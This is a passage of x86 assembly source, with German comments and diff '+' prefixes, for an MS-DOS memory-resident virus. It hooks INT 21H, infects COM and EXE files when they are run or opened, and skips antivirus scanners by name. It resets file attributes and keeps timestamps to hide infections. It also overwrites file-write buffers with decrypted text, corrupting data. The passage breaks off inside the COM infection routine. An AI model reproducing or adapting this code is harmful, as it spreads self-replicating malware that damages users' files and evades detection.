+;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +;³ INT 21H umbiegen: ³ +;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ +;------------------------------------------------------------------------------ +; Aufruf von INT 21H ÄÄ> Vektor zeigt auf das 5.BYTE des ersten MCB ÄÄ> JMP +; ÄÄ> Sprung zum eigentlichen Virus... INT 21H zeigt somit in den 1. MCB +;------------------------------------------------------------------------------ + MOV AH,52H ;DOS INFORMATION BLOCK (DIB) ermitteln + INT 21H ;...undokumentiert + MOV AX,ES ; in + DEC AX ; verkleinern + MOV ES,AX ; somit verkleinert! + ADD BX,12 ;...OFS auf die Adr. des ersten MCB + LES BX,ES:[BX] ;Adr. des ersten MCB in / + + ADD BX,5 ;OFS auf das 1. ungenuzte BYTE im MCB + MOV BYTE PTR ES:[BX],0EAH ;JMP setzen (Direct intersegment) + MOV WORD PTR ES:[BX+1],OFFSET NEU21-FAKTOR ;OFS setzen + MOV WORD PTR ES:[BX+3],DS ;SEG setzen! +;------------------------------------------------------------------------------ + MOV DX,BX ;OFS vorbereiten fr INT neu setzen + PUSH ES ;SEG sichern (fr INT neu setzen...) +;------------------------------------------------------------------------------ + MOV AX,3521H ;Vektor von INT 21 lesen + INT 21H + MOV WORD PTR DS:[OFFSET ALT21-FAKTOR],BX ;Alten Vektor sichern + MOV WORD PTR DS:[OFFSET ALT21-FAKTOR+2],ES ;(--> OFS und SEG) + + MOV AX,2521H ;INT 21H neu setzen + POP DS ;SEG des MCB in  + INT 21H ;OFS in (siehe oben ÄÙ) + +;------------------------------------------------------------------------------ +; und restaurieren: +;------------------------------------------------------------------------------ +ENDE: POP DS ; und restaurieren + PUSH DS ;<--- (s.o.) + POP ES ;<--- (s.o.) + +;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +;³ Virus beenden (COM oder EXE..? s.o...): ³ +;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + DB 0EAH ;Direct Intersegment Jmp... +HOST_OFS DW 0100H ;OFS-ADR fr den Rcksprung zum Host +HOST_SEG DW ? ;SEG-ADR fr den Rcksprung zum Host + +;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +;º Neuer INT 24H (Critical Error) Handler: º +;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍŒ +NEU24 PROC FAR ;Kritischer Fehler + + MOV AL,3 ;Aktuelle Funktion abbrechen... + IRET ;Zurck zur fehlerhaften Funktion. + +NEU24 ENDP + +;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +;º Neuer INT 21H (Dos-Calls) Handler; º +;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍŒ +NEU21 PROC FAR ;DOS-INT + +;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +;³ Schon installiert ? Test ber Versionsnummer, bei Erfolg: = 0FFFFH ³ +;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + CMP AH,30H ;DOS Versionsnummer ermitteln ? + JNZ VIR_21 ;NEIN --> VIR_21 + CMP DX,ID_WORD ; gleich ID_WORD? + JNZ VIR_21 ;NEIN --> VIR_21 + MOV DX,0FFFFH ;Prfbyte in zurckliefern... + + IRET ;Virus schon drin --> INT beenden + +;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +;³ Virus laufen lassen... ³ +;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ +VIR_21: PUSHALL ;Register sichern + CMP BYTE PTR CS:[OFFSET AKTIV-FAKTOR],0 ;Virus schon AKTIV ? + JNZ END21 ;JA (Schon aktiv !) --> END21 + +;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +;³ Trigger testen: ³ +;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + CMP AH,40H ;Funktion=Datei schreiben? + JE TRIG_OK ;JA --> TRIG_OK + +;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +;³ EXEC oder OPEN ? ³ +;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + CMP AX,4B00H ;EXEC-Aufruf ? + JE GO_INF ;JA --> GO_INF + + CMP AH,3DH ;Datei ”ffnen ? + JNE END21 ;NEIN --> END21 + +;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +;³ EXE oder COM oder keins von beidem? ³ +;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ +GO_INF: MOV BYTE PTR CS:[OFFSET AKTIV-FAKTOR],1 ;Virus ist jetzt AKTIV !!! +;------------------------------------------------------------------------------ + MOV DI,DX ; mit OFS des Programmnamens laden + +FIND_END: INC DI ; auf das n„chste Zeichen + JZ NEU21END ; wieder Null? JA --> NEU21END + CMP BYTE PTR DS:[DI],0 ;Ende-Zeichen des Dateinamens? + JNZ FIND_END ;NEIN --> FIND_END +;------------------------------------------------------------------------------ + MOV CX,10 ;10 Durchl„ufe + XOR AL,AL ;Checksumme in + +MAKE_SUM: DEC DI ;Aufs n„chste Zeichen des Dateinamens + MOV BP,DS:[DI-2] ;3 Zeichen des... + MOV BH,DS:[DI] ;...Dateinamens einlesen (/) + + AND BP,0DFDFH ;Zeichen in den Regs / in... + AND BH,0DFH ;...Groáschrift umwandeln + + CMP CX,7 ;Extension abgearbeitet? + JA EXT_CHK ;JA --> END_SUM +;------------------------------------------------------------------------------ + XOR SI,SI ;Zeiger auf die SCANNER-Namen + +TESTSCAN: CMP BP,WORD PTR CS:[OFFSET SCAN+SI-FAKTOR+1] ;Ersten 2 Chr in + JNZ NO_SCAN ;NIX... --> NO_SCAN + CMP BH,BYTE PTR CS:[OFFSET SCAN+SI-FAKTOR] ;N„chsten 2 Chr in + JZ NEU21END ;SCANNER!!! --> NEU21END +NO_SCAN: CMP SI,(ANZ_SCAN-1)*3 ; auf den letzten Eintrag prfen + JZ END_SUM ;Alles getestet --> END_SUM + ADD SI,3 ;Auf den n„chsten Namen + JMP TESTSCAN ;--> TESTSCAN + +;------------------------------------------------------------------------------ +EXT_CHK: ADD AL,BH ;Checksumme erh”hen +;------------------------------------------------------------------------------ +END_SUM: LOOP MAKE_SUM ;Alle 3 Bytes abarbeiten + +;------------------------------------------------------------------------------ + CMP AL,223 ;Summe = "COM" ? + JZ F_START ;JA --> F_START --> START_ME ! + CMP AL,226 ;Summe = "EXE" ? + JNZ NEU21END ;NEIN --> NEU21END + +F_START: JMP START_ME ;--> START_ME !!! + +;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +;³ INT 21H-Virus beenden: ³ +;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ +NEU21END: MOV BYTE PTR CS:[OFFSET AKTIV-FAKTOR],0 ;Virus ist jetzt NICHT... + ;...MEHR aktiv! +;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +;³ Sprung zum orginal INT 21H Handler: ³ +;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ +END21: POPALL ;Register laden + DB 0EAH ;Direct Intersegment Jmp... +ALT21 DD ? ;Far-ADR fr den Rcksprung zum INT 21H + +;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +;º TRIGer_OK: º +;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍŒ +TRIG_OK: MOV AL,BYTE PTR CS:[OFFSET KOPIE-FAKTOR] ;LOW-BYTE von KOPIE in + AND AL,0111B ;Letzten 3 BITs NICHT ausmaskieren + JNZ END21 ;NEIN --> END21 + + CMP BX,4 ;Handle=Standard Ausgabe etc? + JBE END21 ;JA --> END21 + +;------------------------------------------------------------------------------ + MOV SI,TXT_SIZ ;Text-l„nge in + MOV BX,DX ;OFS des Puffers in , s.u. + +BOESE: MOV AL,BYTE PTR CS:[SI+OFFSET TEXT-FAKTOR] ;Text lesen + XOR AX,SI ;Entschlsseln! + MOV DI,CX ;...und dann in den... + DEC DI ;(Pufferzeiger verkleinern!) + MOV DS:[DI+BX],AL ;Puffer schreiben! + + DEC SI ;String-Zeiger verkleinern + JNZ EVIL ;NULL? NEIN --> EVIL + + MOV SI,TXT_SIZ ;Text-l„nge in + +EVIL: LOOP BOESE ;Puffer voll machen! + JMP END21 ;...und zur Dose! + +;----------------------------------------------------------------------------- +TEXT DB 000,083,044,066,042,081,040,039,083,091,087,098,099,121,125,047 + DB 075,080,079,116,117,124,120,100,108,057,065,079,065,120,125,119 + DB 078,078,078,076,067,092,006,010,005,009,108,098,107,101,122,015 + DB 121,101,018,113,117,118,125,023,025,024,027,027 + +TXT_SIZ EQU 59 + +;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +;º Infektions-Routinen des Virus: º +;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍŒ +;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +;³ INT 24H - Kritikal Errorhandler - merken: ³ +;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ +START_ME: MOV AX,3524H ;Vektor von INT 24 lesen + CALL GODOS ;--> Dose direkt callen + PUSH ES ;SEG vom Vektor sichern + PUSH BX ;OFS vom Vektor sichern + +;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +;³ Neuen INT 13H - HD/FLOPPY-INT - merken: ³ +;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + MOV AL,13H ;Vektor von INT 13 lesen, =35 (s o) + CALL GODOS ;--> Dose direkt callen + PUSH ES ;SEG vom Vektor sichern + PUSH BX ;OFS vom Vektor sichern + +;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +;³ Vektoren NEU setzen (Auf die Adressen, bevor der Virus installiert war): ³ +;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + PUSH DS ;SEG des Dateinamens () gesichert + PUSH DX ;OFS des Dateinamens () gesichert + +;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +;³ Kritikal Errorhandler auf eigene Routine umbiegen: ³ +;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + MOV AX,2524H ;INT 24H neu setzen + PUSH CS ;SEG auf den... + POP DS ;...Wert von setzen + MOV DX,OFFSET NEU24-FAKTOR ;SEG in + CALL GODOS ;--> Dose direkt callen + +;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +;³ INT 13H auf alten (vor dem Virus) Vektor setzen: ³ +;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + LDS DX,DWORD PTR CS:[OFFSET ALT13-FAKTOR] ;Ursprnglichen 13H-Vektor: + MOV AL,13H ;Neu setzen:=25 (s.o) + CALL GODOS ;--> Dose direkt callen + +;------------------------------------------------------------------------------ + POP DX ; des Dateinamens restaurieren + POP DS ; des Dateinamens restaurieren + +;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +;³ Attribut lesen und neu schreiben: ³ +;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + MOV AX,4300H ;Attribut einer Datei ermitteln  + CALL GODOS ;SEG in und OFS in (siehe Oben ÄÙ) + JC REST_FAR ;FEHLER --> REST_INT + + MOV SI,CX ;Attribut der Datei in retten + + MOV AX,4301H ;Attribut einer Datei setzen + XOR CX,CX ;Neues Attribut  + CALL GODOS ;SEG in und OFS in (siehe Oben ÄÙ) + JNC ATTR_OK ;OK --> ATTR_OK +REST_FAR: JMP REST_INT ;FEHLER --> REST_INT + +ATTR_OK: PUSH SI ;Attribut auf den Stack (merken!) + PUSH DX ;SEG des Dateinamens merken + PUSH DS ;OFS des Dateinamens merken + +;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +;³ Datei ”ffnen: ³ +;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + MOV AX,3D12H ;Datei ”ffnen, =Zugriffsmodus + CALL GODOS ;SEG des FNamens in , OFS in + JNC HANDLE ;OK --> HANDLE + JMP BREAK ;FEHLER --> BREAK + +HANDLE: MOV BX,AX ;Handle in retten +;------------------------------------------------------------------------------ + PUSH CS ;Nebenbei... + POP DS ;... auf setzen + +;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +;³ ID_WORD TESTEN (Keine Doppelinfektion!): ³ +;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ +ID_TEST: MOV AX,4202H ;Dateizeiger bewegen, relativ zum Ende + MOV CX,0FFFFH ;HI-WORD des Offset + MOV DX,(-5) ;LO-WORD des Offset + CALL GODOS ;Handle in + JNC ID_OK ;OK --> Weiter +N_CLOSE: JMP CLOSE ;FEHLER --> CLOSE + +ID_OK: MOV AH,3FH ;Datei lesen + MOV CX,2 ;Anzahl zu lesender BYTES + MOV DX,OFFSET PUFFER-FAKTOR ;OFS des Puffers, SEG in + CALL GODOS ;Handle in + JC N_CLOSE ;FEHLER --> CLOSE + + CMP WORD PTR CS:[OFFSET PUFFER-FAKTOR],ID_WORD ;Kennbytes..? + JZ N_CLOSE ;JA --> CLOSE + + MOV BYTE PTR CS:[OFFSET IMMUN-FAKTOR],0 ;IMMUN-Flag l”schen + CMP WORD PTR CS:[OFFSET PUFFER-FAKTOR],TNT_WORD ;Immunisiert..? + JNZ READ_IT ;JA --> READ_IT + MOV BYTE PTR CS:[OFFSET IMMUN-FAKTOR],1 ;Immunisiert... + +;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +;³ Ersten 18H BYTEs des Hosts merken: ³ +;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ +READ_IT: CALL SEEK_BEG ;Dateizeiger auf den Anfang der Datei + JC N_CLOSE ;FEHLER --> CLOSE + + MOV AH,3FH ;Datei lesen + MOV CX,18H ;Anzahl zu lesender BYTES + MOV DX,OFFSET PUFFER-FAKTOR ;OFS des Puffers, SEG in + CALL GODOS ;Handle in + JC N_CLOSE ;FEHLER --> CLOSE + +;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +;³ L„nge einlesen und merken: ³ +;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + MOV AX,4202H ;Dateizeiger bewegen, relativ zum Ende + XOR CX,CX ;HI-WORD des Offset + XOR DX,DX ;LO-WORD des offset + CALL GODOS ;Handle in + JC N_CLOSE ;FEHLER --> CLOSE + + MOV SI,AX ;LO-WORD der Dateil„nge in merken + MOV DI,DX ;HI-WORD der Dateil„nge in merken + +;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +;³ Dateizeiger auf den Anfang des Hosts: ³ +;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + CALL SEEK_BEG ;Dateizeiger auf den Anfang der Datei + JC N_CLOSE ;FEHLER --> N_CLOSE --> CLOSE + +;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +;³ Altes DATUM und alte ZEIT merken: ³ +;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + MOV AX,5700H ;Lezte Modifikation der Datei merken + CALL GODOS ;Handle in + JC N_CLOSE ;FEHLER --> CLOSE + + PUSH CX ;Uhrzeit merken + PUSH DX ;Datum merken + +;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +;³ COM oder EXE..???? ³ +;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + CMP WORD PTR CS:[OFFSET PUFFER-FAKTOR],"ZM" ;EXE-Datei? ("MZ") + JZ GO_EXE ;JA --> GO_EXE + +;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +;³ COM: ³ +;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + CMP SI,MAXGR ;Datei zu groá? + JAE POP_CLOSE ;JA --> CLOSE + + MOV CS:[COMEXE-FAKTOR],0 ;COMEXE auf COM setzen + +;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +;³ COM: Rcksprung & JMP setzen ³ 